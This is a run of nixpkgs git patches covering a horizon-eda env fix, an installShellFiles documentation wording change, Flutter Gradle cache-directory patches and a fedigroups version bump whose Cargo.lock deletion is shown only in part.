index 0e931ff743a7..c3eb3d959dbd 100644
--- a/pkgs/by-name/ho/horizon-eda/base.nix
+++ b/pkgs/by-name/ho/horizon-eda/base.nix
@@ -56,10 +56,9 @@ rec {
   ];
 
   env = {
+    CASROOT = opencascade-occt;
   };
 
-  CASROOT = opencascade-occt;
-
   meta = {
     description = "Free EDA software to develop printed circuit boards";
     homepage = "https://horizon-eda.org";
diff --git a/pkgs/by-name/ho/horizon-eda/package.nix b/pkgs/by-name/ho/horizon-eda/package.nix
index dcea3c1cddf0..f03763e98fc8 100644
--- a/pkgs/by-name/ho/horizon-eda/package.nix
+++ b/pkgs/by-name/ho/horizon-eda/package.nix
@@ -17,7 +17,6 @@ stdenv.mkDerivation {
     version
     src
     meta
-    CASROOT
     env
     ;
 
diff --git a/pkgs/development/python-modules/horizon-eda/default.nix b/pkgs/development/python-modules/horizon-eda/default.nix
index ba630bc9cfcb..c083572ed019 100644
--- a/pkgs/development/python-modules/horizon-eda/default.nix
+++ b/pkgs/development/python-modules/horizon-eda/default.nix
@@ -16,7 +16,7 @@ buildPythonPackage {
     version
     src
     meta
-    CASROOT
+    env
     ;
 
   pyproject = false;

From d5afa4954be75549727672b26f9ef69fe6dd18d6 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Mon, 16 Jun 2025 20:14:59 +0800
Subject: [PATCH 1131/4511] doc/installShellFiles: describe fifo more
 accurately

(cherry picked from commit b0c8f2be7d92d1c93b05d0f3307295ca5ea80cc7)
---
 doc/hooks/installShellFiles.section.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/hooks/installShellFiles.section.md b/doc/hooks/installShellFiles.section.md
index edaea5895a3b..223c47f2e684 100644
--- a/doc/hooks/installShellFiles.section.md
+++ b/doc/hooks/installShellFiles.section.md
@@ -84,7 +84,7 @@ zsh).
 }
 ```
 
-The path may also be a fifo or named fd (such as produced by `<(cmd)`), in which
+The path may also be the result of process substitution (e.g. `<(cmd)`), in which
 case the shell and name must be provided (see below).
 
 If the destination shell completion file is not actually present or consists of
@@ -100,7 +100,7 @@ failure. To prevent this, guard the completion generation commands.
 {
   nativeBuildInputs = [ installShellFiles ];
   postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-    # using named fd
+    # using process substitution
     installShellCompletion --cmd foobar \
       --bash <($out/bin/foobar --bash-completion) \
       --fish <($out/bin/foobar --fish-completion) \

From 68fb93d2f18898b7ae7bb3143b668c94ba375d8f Mon Sep 17 00:00:00 2001
From: hacker1024 <hacker1024@users.sourceforge.net>
Date: Sun, 1 Jun 2025 20:32:58 +1000
Subject: [PATCH 1132/4511] flutter{329,332}: Pass --project-cache-dir to
 Gradle

(cherry picked from commit 4ccd185ba8fb3a5c1ad8c6d0c672e638d3b365c9)
---
 .../gradle-flutter-tools-wrapper.patch        | 164 +++++++++++++++++-
 .../gradle-flutter-tools-wrapper.patch        | 164 +++++++++++++++++-
 2 files changed, 316 insertions(+), 12 deletions(-)

diff --git a/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch b/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch
index b579b4b42f8e..2d72b8915282 100644
--- a/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch
+++ b/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch
@@ -15,11 +15,9 @@ The intermediate project makes a `settings.gradle` file in `$HOME/.cache/flutter
 This Gradle project will build the actual `packages/flutter_tools/gradle` project by setting
 `rootProject.projectDir = new File("$settingsDir")` and `apply from: new File("$settingsDir/settings.gradle.kts")`.
 
-Now the `.gradle` will be built in `$HOME/.cache/flutter/nix-flutter-tools-gradle/<short engine rev>/`, but `build` doesn't.
-To move `build` to `$HOME/.cache/flutter/nix-flutter-tools-gradle/<short engine rev>/` as well, we need to set `buildDirectory`.
-diff --git a/packages/flutter_tools/gradle/settings.gradle b/packages/flutter_tools/gradle/settings.gradle
-new file mode 100644
-index 0000000000..b2485c94b4
+To move `build` to `$HOME/.cache/flutter/nix-flutter-tools-gradle/<short engine rev>/`, we need to set `buildDirectory`.
+To move `.gradle` as well, the `--project-cache-dir` argument must be passed to the Gradle wrapper.
+Changing the `GradleUtils.getExecutable` function signature is a delibarate choice, to ensure that no new unpatched usages slip in.
 --- /dev/null
 +++ b/packages/flutter_tools/gradle/settings.gradle
 @@ -0,0 +1,19 @@
@@ -44,12 +42,166 @@ index 0000000000..b2485c94b4
 +includeBuild(dir)
 --- a/packages/flutter_tools/gradle/build.gradle.kts
 +++ b/packages/flutter_tools/gradle/build.gradle.kts
-@@ -4,6 +4,8 @@
+@@ -4,6 +4,11 @@
  
  import org.jetbrains.kotlin.gradle.dsl.JvmTarget
  
++// While flutter_tools runs Gradle with a --project-cache-dir, this startParameter
++// is not passed correctly to the Kotlin Gradle plugin for some reason, and so
++// must be set here as well.
 +gradle.startParameter.projectCacheDir = layout.buildDirectory.dir("cache").get().asFile
 +
  plugins {
      `java-gradle-plugin`
      groovy
+--- a/packages/flutter_tools/lib/src/android/gradle.dart
++++ b/packages/flutter_tools/lib/src/android/gradle.dart
+@@ -456,9 +456,9 @@ class AndroidGradleBuilder implements AndroidBuilder {
+     // from the local.properties file.
+     updateLocalProperties(project: project, buildInfo: androidBuildInfo.buildInfo);
+ 
+-    final List<String> options = <String>[];
+-
+-    final String gradleExecutablePath = _gradleUtils.getExecutable(project);
++    final [String gradleExecutablePath, ...List<String> options] = _gradleUtils.getExecutable(
++      project,
++    );
+ 
+     // All automatically created files should exist.
+     if (configOnly) {
+@@ -781,7 +781,7 @@ class AndroidGradleBuilder implements AndroidBuilder {
+       'aar_init_script.gradle',
+     );
+     final List<String> command = <String>[
+-      _gradleUtils.getExecutable(project),
++      ..._gradleUtils.getExecutable(project),
+       '-I=$initScript',
+       '-Pflutter-root=$flutterRoot',
+       '-Poutput-dir=${outputDirectory.path}',
+@@ -896,6 +896,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+     final List<String> results = <String>[];
+ 
+     try {
++      final [String gradleExecutablePath, ...List<String> options] = _gradleUtils.getExecutable(
++        project,
++      );
++
+       exitCode = await _runGradleTask(
+         _kBuildVariantTaskName,
+         preRunTask: () {
+@@ -911,10 +915,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+             ),
+           );
+         },
+-        options: const <String>['-q'],
++        options: <String>[...options, '-q'],
+         project: project,
+         localGradleErrors: gradleErrors,
+-        gradleExecutablePath: _gradleUtils.getExecutable(project),
++        gradleExecutablePath: gradleExecutablePath,
+         outputParser: (String line) {
+           if (_kBuildVariantRegex.firstMatch(line) case final RegExpMatch match) {
+             results.add(match.namedGroup(_kBuildVariantRegexGroupName)!);
+@@ -948,6 +952,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+     late Stopwatch sw;
+     int exitCode = 1;
+     try {
++      final [String gradleExecutablePath, ...List<String> options] = _gradleUtils.getExecutable(
++        project,
++      );
++
+       exitCode = await _runGradleTask(
+         taskName,
+         preRunTask: () {
+@@ -963,10 +971,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+             ),
+           );
+         },
+-        options: <String>['-q', '-PoutputPath=$outputPath'],
++        options: <String>[...options, '-q', '-PoutputPath=$outputPath'],
+         project: project,
+         localGradleErrors: gradleErrors,
+-        gradleExecutablePath: _gradleUtils.getExecutable(project),
++        gradleExecutablePath: gradleExecutablePath,
+       );
+     } on Error catch (error) {
+       _logger.printError(error.toString());
+--- a/packages/flutter_tools/lib/src/android/gradle_errors.dart
++++ b/packages/flutter_tools/lib/src/android/gradle_errors.dart
+@@ -240,7 +240,12 @@ final GradleHandledError flavorUndefinedHandler = GradleHandledError(
+     required bool usesAndroidX,
+   }) async {
+     final RunResult tasksRunResult = await globals.processUtils.run(
+-      <String>[globals.gradleUtils!.getExecutable(project), 'app:tasks', '--all', '--console=auto'],
++      <String>[
++        ...globals.gradleUtils!.getExecutable(project),
++        'app:tasks',
++        '--all',
++        '--console=auto',
++      ],
+       throwOnError: true,
+       workingDirectory: project.android.hostAppGradleRoot.path,
+       environment: globals.java?.environment,
+--- a/packages/flutter_tools/lib/src/android/gradle_utils.dart
++++ b/packages/flutter_tools/lib/src/android/gradle_utils.dart
+@@ -3,6 +3,7 @@
+ // found in the LICENSE file.
+ 
+ import 'package:meta/meta.dart';
++import 'package:path/path.dart';
+ import 'package:process/process.dart';
+ import 'package:unified_analytics/unified_analytics.dart';
+ 
+@@ -154,9 +155,16 @@ class GradleUtils {
+   final Logger _logger;
+   final OperatingSystemUtils _operatingSystemUtils;
+ 
++  List<String> get _requiredArguments => <String>[
++    '--project-cache-dir=${join(switch (globals.platform.environment['XDG_CACHE_HOME']) {
++      final String cacheHome => cacheHome,
++      _ => join(globals.fsUtils.homeDirPath ?? throwToolExit('No cache directory has been specified.'), '.cache'),
++    }, 'flutter', 'nix-flutter-tools-gradle', globals.flutterVersion.engineRevision.substring(0, 10), 'cache')}',
++  ];
++
+   /// Gets the Gradle executable path and prepares the Gradle project.
+   /// This is the `gradlew` or `gradlew.bat` script in the `android/` directory.
+-  String getExecutable(FlutterProject project) {
++  List<String> getExecutable(FlutterProject project) {
+     final Directory androidDir = project.android.hostAppGradleRoot;
+     injectGradleWrapperIfNeeded(androidDir);
+ 
+@@ -167,7 +175,7 @@ class GradleUtils {
+       // If the Gradle executable doesn't have execute permission,
+       // then attempt to set it.
+       _operatingSystemUtils.makeExecutable(gradle);
+-      return gradle.absolute.path;
++      return <String>[gradle.absolute.path, ..._requiredArguments];
+     }
+     throwToolExit(
+       'Unable to locate gradlew script. Please check that ${gradle.path} '
+--- a/packages/flutter_tools/test/general.shard/android/android_gradle_builder_test.dart
++++ b/packages/flutter_tools/test/general.shard/android/android_gradle_builder_test.dart
+@@ -2740,8 +2740,8 @@ Gradle Crashed
+ 
+ class FakeGradleUtils extends Fake implements GradleUtils {
+   @override
+-  String getExecutable(FlutterProject project) {
+-    return 'gradlew';
++  List<String> getExecutable(FlutterProject project) {
++    return const <String>['gradlew'];
+   }
+ }
+ 
+--- a/packages/flutter_tools/test/general.shard/android/gradle_errors_test.dart
++++ b/packages/flutter_tools/test/general.shard/android/gradle_errors_test.dart
+@@ -1580,8 +1580,8 @@ Platform fakePlatform(String name) {
+ 
+ class FakeGradleUtils extends Fake implements GradleUtils {
+   @override
+-  String getExecutable(FlutterProject project) {
+-    return 'gradlew';
++  List<String> getExecutable(FlutterProject project) {
++    return const <String>['gradlew'];
+   }
+ }
+ 
diff --git a/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch b/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch
index b579b4b42f8e..2d72b8915282 100644
--- a/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch
+++ b/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch
@@ -15,11 +15,9 @@ The intermediate project makes a `settings.gradle` file in `$HOME/.cache/flutter
 This Gradle project will build the actual `packages/flutter_tools/gradle` project by setting
 `rootProject.projectDir = new File("$settingsDir")` and `apply from: new File("$settingsDir/settings.gradle.kts")`.
 
-Now the `.gradle` will be built in `$HOME/.cache/flutter/nix-flutter-tools-gradle/<short engine rev>/`, but `build` doesn't.
-To move `build` to `$HOME/.cache/flutter/nix-flutter-tools-gradle/<short engine rev>/` as well, we need to set `buildDirectory`.
-diff --git a/packages/flutter_tools/gradle/settings.gradle b/packages/flutter_tools/gradle/settings.gradle
-new file mode 100644
-index 0000000000..b2485c94b4
+To move `build` to `$HOME/.cache/flutter/nix-flutter-tools-gradle/<short engine rev>/`, we need to set `buildDirectory`.
+To move `.gradle` as well, the `--project-cache-dir` argument must be passed to the Gradle wrapper.
+Changing the `GradleUtils.getExecutable` function signature is a delibarate choice, to ensure that no new unpatched usages slip in.
 --- /dev/null
 +++ b/packages/flutter_tools/gradle/settings.gradle
 @@ -0,0 +1,19 @@
@@ -44,12 +42,166 @@ index 0000000000..b2485c94b4
 +includeBuild(dir)
 --- a/packages/flutter_tools/gradle/build.gradle.kts
 +++ b/packages/flutter_tools/gradle/build.gradle.kts
-@@ -4,6 +4,8 @@
+@@ -4,6 +4,11 @@
  
  import org.jetbrains.kotlin.gradle.dsl.JvmTarget
  
++// While flutter_tools runs Gradle with a --project-cache-dir, this startParameter
++// is not passed correctly to the Kotlin Gradle plugin for some reason, and so
++// must be set here as well.
 +gradle.startParameter.projectCacheDir = layout.buildDirectory.dir("cache").get().asFile
 +
  plugins {
      `java-gradle-plugin`
      groovy
+--- a/packages/flutter_tools/lib/src/android/gradle.dart
++++ b/packages/flutter_tools/lib/src/android/gradle.dart
+@@ -456,9 +456,9 @@ class AndroidGradleBuilder implements AndroidBuilder {
+     // from the local.properties file.
+     updateLocalProperties(project: project, buildInfo: androidBuildInfo.buildInfo);
+ 
+-    final List<String> options = <String>[];
+-
+-    final String gradleExecutablePath = _gradleUtils.getExecutable(project);
++    final [String gradleExecutablePath, ...List<String> options] = _gradleUtils.getExecutable(
++      project,
++    );
+ 
+     // All automatically created files should exist.
+     if (configOnly) {
+@@ -781,7 +781,7 @@ class AndroidGradleBuilder implements AndroidBuilder {
+       'aar_init_script.gradle',
+     );
+     final List<String> command = <String>[
+-      _gradleUtils.getExecutable(project),
++      ..._gradleUtils.getExecutable(project),
+       '-I=$initScript',
+       '-Pflutter-root=$flutterRoot',
+       '-Poutput-dir=${outputDirectory.path}',
+@@ -896,6 +896,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+     final List<String> results = <String>[];
+ 
+     try {
++      final [String gradleExecutablePath, ...List<String> options] = _gradleUtils.getExecutable(
++        project,
++      );
++
+       exitCode = await _runGradleTask(
+         _kBuildVariantTaskName,
+         preRunTask: () {
+@@ -911,10 +915,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+             ),
+           );
+         },
+-        options: const <String>['-q'],
++        options: <String>[...options, '-q'],
+         project: project,
+         localGradleErrors: gradleErrors,
+-        gradleExecutablePath: _gradleUtils.getExecutable(project),
++        gradleExecutablePath: gradleExecutablePath,
+         outputParser: (String line) {
+           if (_kBuildVariantRegex.firstMatch(line) case final RegExpMatch match) {
+             results.add(match.namedGroup(_kBuildVariantRegexGroupName)!);
+@@ -948,6 +952,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+     late Stopwatch sw;
+     int exitCode = 1;
+     try {
++      final [String gradleExecutablePath, ...List<String> options] = _gradleUtils.getExecutable(
++        project,
++      );
++
+       exitCode = await _runGradleTask(
+         taskName,
+         preRunTask: () {
+@@ -963,10 +971,10 @@ class AndroidGradleBuilder implements AndroidBuilder {
+             ),
+           );
+         },
+-        options: <String>['-q', '-PoutputPath=$outputPath'],
++        options: <String>[...options, '-q', '-PoutputPath=$outputPath'],
+         project: project,
+         localGradleErrors: gradleErrors,
+-        gradleExecutablePath: _gradleUtils.getExecutable(project),
++        gradleExecutablePath: gradleExecutablePath,
+       );
+     } on Error catch (error) {
+       _logger.printError(error.toString());
+--- a/packages/flutter_tools/lib/src/android/gradle_errors.dart
++++ b/packages/flutter_tools/lib/src/android/gradle_errors.dart
+@@ -240,7 +240,12 @@ final GradleHandledError flavorUndefinedHandler = GradleHandledError(
+     required bool usesAndroidX,
+   }) async {
+     final RunResult tasksRunResult = await globals.processUtils.run(
+-      <String>[globals.gradleUtils!.getExecutable(project), 'app:tasks', '--all', '--console=auto'],
++      <String>[
++        ...globals.gradleUtils!.getExecutable(project),
++        'app:tasks',
++        '--all',
++        '--console=auto',
++      ],
+       throwOnError: true,
+       workingDirectory: project.android.hostAppGradleRoot.path,
+       environment: globals.java?.environment,
+--- a/packages/flutter_tools/lib/src/android/gradle_utils.dart
++++ b/packages/flutter_tools/lib/src/android/gradle_utils.dart
+@@ -3,6 +3,7 @@
+ // found in the LICENSE file.
+ 
+ import 'package:meta/meta.dart';
++import 'package:path/path.dart';
+ import 'package:process/process.dart';
+ import 'package:unified_analytics/unified_analytics.dart';
+ 
+@@ -154,9 +155,16 @@ class GradleUtils {
+   final Logger _logger;
+   final OperatingSystemUtils _operatingSystemUtils;
+ 
++  List<String> get _requiredArguments => <String>[
++    '--project-cache-dir=${join(switch (globals.platform.environment['XDG_CACHE_HOME']) {
++      final String cacheHome => cacheHome,
++      _ => join(globals.fsUtils.homeDirPath ?? throwToolExit('No cache directory has been specified.'), '.cache'),
++    }, 'flutter', 'nix-flutter-tools-gradle', globals.flutterVersion.engineRevision.substring(0, 10), 'cache')}',
++  ];
++
+   /// Gets the Gradle executable path and prepares the Gradle project.
+   /// This is the `gradlew` or `gradlew.bat` script in the `android/` directory.
+-  String getExecutable(FlutterProject project) {
++  List<String> getExecutable(FlutterProject project) {
+     final Directory androidDir = project.android.hostAppGradleRoot;
+     injectGradleWrapperIfNeeded(androidDir);
+ 
+@@ -167,7 +175,7 @@ class GradleUtils {
+       // If the Gradle executable doesn't have execute permission,
+       // then attempt to set it.
+       _operatingSystemUtils.makeExecutable(gradle);
+-      return gradle.absolute.path;
++      return <String>[gradle.absolute.path, ..._requiredArguments];
+     }
+     throwToolExit(
+       'Unable to locate gradlew script. Please check that ${gradle.path} '
+--- a/packages/flutter_tools/test/general.shard/android/android_gradle_builder_test.dart
++++ b/packages/flutter_tools/test/general.shard/android/android_gradle_builder_test.dart
+@@ -2740,8 +2740,8 @@ Gradle Crashed
+ 
+ class FakeGradleUtils extends Fake implements GradleUtils {
+   @override
+-  String getExecutable(FlutterProject project) {
+-    return 'gradlew';
++  List<String> getExecutable(FlutterProject project) {
++    return const <String>['gradlew'];
+   }
+ }
+ 
+--- a/packages/flutter_tools/test/general.shard/android/gradle_errors_test.dart
++++ b/packages/flutter_tools/test/general.shard/android/gradle_errors_test.dart
+@@ -1580,8 +1580,8 @@ Platform fakePlatform(String name) {
+ 
+ class FakeGradleUtils extends Fake implements GradleUtils {
+   @override
+-  String getExecutable(FlutterProject project) {
+-    return 'gradlew';
++  List<String> getExecutable(FlutterProject project) {
++    return const <String>['gradlew'];
+   }
+ }
+ 

From 7c966479c43cf1353f7551dd6c38597b216ed2d5 Mon Sep 17 00:00:00 2001
From: hacker1024 <hacker1024@users.sourceforge.net>
Date: Sun, 1 Jun 2025 21:04:25 +1000
Subject: [PATCH 1133/4511] flutter{329,332}: Pass
 -Pkotlin.project.persistent.dir as well

(cherry picked from commit c276ee50c4c2dac4f28d5293424b3e963dcd567c)
---
 .../gradle-flutter-tools-wrapper.patch        | 29 ++++++++++++++-----
 .../gradle-flutter-tools-wrapper.patch        | 29 ++++++++++++++-----
 2 files changed, 42 insertions(+), 16 deletions(-)

diff --git a/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch b/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch
index 2d72b8915282..34f6a1c99a64 100644
--- a/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch
+++ b/pkgs/development/compilers/flutter/versions/3_29/patches/gradle-flutter-tools-wrapper.patch
@@ -152,16 +152,29 @@ Changing the `GradleUtils.getExecutable` function signature is a delibarate choi
  import 'package:process/process.dart';
  import 'package:unified_analytics/unified_analytics.dart';
  
-@@ -154,9 +155,16 @@ class GradleUtils {
+@@ -154,9 +155,29 @@ class GradleUtils {
    final Logger _logger;
    final OperatingSystemUtils _operatingSystemUtils;
  
-+  List<String> get _requiredArguments => <String>[
-+    '--project-cache-dir=${join(switch (globals.platform.environment['XDG_CACHE_HOME']) {
-+      final String cacheHome => cacheHome,
-+      _ => join(globals.fsUtils.homeDirPath ?? throwToolExit('No cache directory has been specified.'), '.cache'),
-+    }, 'flutter', 'nix-flutter-tools-gradle', globals.flutterVersion.engineRevision.substring(0, 10), 'cache')}',
-+  ];
++  List<String> get _requiredArguments {
++    final String cacheDir = join(
++      switch (globals.platform.environment['XDG_CACHE_HOME']) {
++        final String cacheHome => cacheHome,
++        _ => join(
++          globals.fsUtils.homeDirPath ?? throwToolExit('No cache directory has been specified.'),
++          '.cache',
++        ),
++      },
++      'flutter',
++      'nix-flutter-tools-gradle',
++      globals.flutterVersion.engineRevision.substring(0, 10),
++    );
++
++    return <String>[
++      '--project-cache-dir=${join(cacheDir, 'cache')}',
++      '-Pkotlin.project.persistent.dir=${join(cacheDir, 'kotlin')}',
++    ];
++  }
 +
    /// Gets the Gradle executable path and prepares the Gradle project.
    /// This is the `gradlew` or `gradlew.bat` script in the `android/` directory.
@@ -170,7 +183,7 @@ Changing the `GradleUtils.getExecutable` function signature is a delibarate choi
      final Directory androidDir = project.android.hostAppGradleRoot;
      injectGradleWrapperIfNeeded(androidDir);
  
-@@ -167,7 +175,7 @@ class GradleUtils {
+@@ -167,7 +188,7 @@ class GradleUtils {
        // If the Gradle executable doesn't have execute permission,
        // then attempt to set it.
        _operatingSystemUtils.makeExecutable(gradle);
diff --git a/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch b/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch
index 2d72b8915282..34f6a1c99a64 100644
--- a/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch
+++ b/pkgs/development/compilers/flutter/versions/3_32/patches/gradle-flutter-tools-wrapper.patch
@@ -152,16 +152,29 @@ Changing the `GradleUtils.getExecutable` function signature is a delibarate choi
  import 'package:process/process.dart';
  import 'package:unified_analytics/unified_analytics.dart';
  
-@@ -154,9 +155,16 @@ class GradleUtils {
+@@ -154,9 +155,29 @@ class GradleUtils {
    final Logger _logger;
    final OperatingSystemUtils _operatingSystemUtils;
  
-+  List<String> get _requiredArguments => <String>[
-+    '--project-cache-dir=${join(switch (globals.platform.environment['XDG_CACHE_HOME']) {
-+      final String cacheHome => cacheHome,
-+      _ => join(globals.fsUtils.homeDirPath ?? throwToolExit('No cache directory has been specified.'), '.cache'),
-+    }, 'flutter', 'nix-flutter-tools-gradle', globals.flutterVersion.engineRevision.substring(0, 10), 'cache')}',
-+  ];
++  List<String> get _requiredArguments {
++    final String cacheDir = join(
++      switch (globals.platform.environment['XDG_CACHE_HOME']) {
++        final String cacheHome => cacheHome,
++        _ => join(
++          globals.fsUtils.homeDirPath ?? throwToolExit('No cache directory has been specified.'),
++          '.cache',
++        ),
++      },
++      'flutter',
++      'nix-flutter-tools-gradle',
++      globals.flutterVersion.engineRevision.substring(0, 10),
++    );
++
++    return <String>[
++      '--project-cache-dir=${join(cacheDir, 'cache')}',
++      '-Pkotlin.project.persistent.dir=${join(cacheDir, 'kotlin')}',
++    ];
++  }
 +
    /// Gets the Gradle executable path and prepares the Gradle project.
    /// This is the `gradlew` or `gradlew.bat` script in the `android/` directory.
@@ -170,7 +183,7 @@ Changing the `GradleUtils.getExecutable` function signature is a delibarate choi
      final Directory androidDir = project.android.hostAppGradleRoot;
      injectGradleWrapperIfNeeded(androidDir);
  
-@@ -167,7 +175,7 @@ class GradleUtils {
+@@ -167,7 +188,7 @@ class GradleUtils {
        // If the Gradle executable doesn't have execute permission,
        // then attempt to set it.
        _operatingSystemUtils.makeExecutable(gradle);

From 47aefff600f406b3f7b77d27bcf95d614178783f Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Mon, 16 Jun 2025 18:31:45 +0200
Subject: [PATCH 1134/4511] fedigroups: 0.4.5 -> 0.4.6

Closes #411758

(cherry picked from commit cf25a0014a45f551fa93752e9389dace663e8598)
---
 pkgs/by-name/fe/fedigroups/Cargo.lock  | 2525 ------------------------
 pkgs/by-name/fe/fedigroups/package.nix |   17 +-
 2 files changed, 4 insertions(+), 2538 deletions(-)
 delete mode 100644 pkgs/by-name/fe/fedigroups/Cargo.lock

diff --git a/pkgs/by-name/fe/fedigroups/Cargo.lock b/pkgs/by-name/fe/fedigroups/Cargo.lock
deleted file mode 100644
index 6a2cfdce28d4..000000000000
--- a/pkgs/by-name/fe/fedigroups/Cargo.lock
+++ /dev/null
@@ -1,2525 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "aho-corasick"
-version = "0.7.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "ansi_term"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.55"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "159bb86af3a200e19a068f4224eae4c8bb2d0fa054c7e5d1cacd5cef95e684cd"
-
-[[package]]
-name = "atty"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
-dependencies = [
- "hermit-abi",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "autocfg"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b671c8fb71b457dd4ae18c4ba1e59aa81793daacc361d82fcd410cef0d491875"
-
-[[package]]
-name = "autocfg"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
-
-[[package]]
-name = "base64"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "489d6c0ed21b11d038c31b6ceccca973e65d73ba3bd8ecb9a2babf5546164643"
-dependencies = [
- "byteorder",
- "safemem",
-]
-
-[[package]]
-name = "base64"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b25d992356d2eb0ed82172f5248873db5560c4721f564b13cb5193bda5e668e"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "base64"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "block-buffer"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0940dc441f31689269e10ac70eb1002a3a1d3ad1390e030043662eb7fe4688b"
-dependencies = [
- "block-padding",
- "byte-tools",
- "byteorder",
- "generic-array 0.12.4",
-]
-
-[[package]]
-name = "block-buffer"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
-dependencies = [
- "generic-array 0.14.5",
-]
-
-[[package]]
-name = "block-padding"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa79dedbb091f449f1f39e53edf88d5dbe95f895dae6135a8d7b881fb5af73f5"
-dependencies = [
- "byte-tools",
-]
-
-[[package]]
-name = "bumpalo"
-version = "3.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37ccbd214614c6783386c1af30caf03192f17891059cecc394b4fb119e363de3"
-
-[[package]]
-name = "byte-tools"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3b5ca7a04898ad4bcd41c90c5285445ff5b791899bb1b0abdd2a2aa791211d7"
-
-[[package]]
-name = "byteorder"
-version = "1.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
-
-[[package]]
-name = "bytes"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "206fdffcfa2df7cbe15601ef46c813fce0965eb3286db6b56c583b814b51c81c"
-dependencies = [
- "byteorder",
- "iovec",
-]
-
-[[package]]
-name = "bytes"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8"
-
-[[package]]
-name = "cc"
-version = "1.0.73"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
-
-[[package]]
-name = "cfg-if"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "chrono"
-version = "0.4.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "670ad68c9088c2a963aaa298cb369688cf3f9465ce5e2d4ca10e6e0098a1ce73"
-dependencies = [
- "libc",
- "num-integer",
- "num-traits",
- "serde",
- "time",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "clap"
-version = "2.34.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
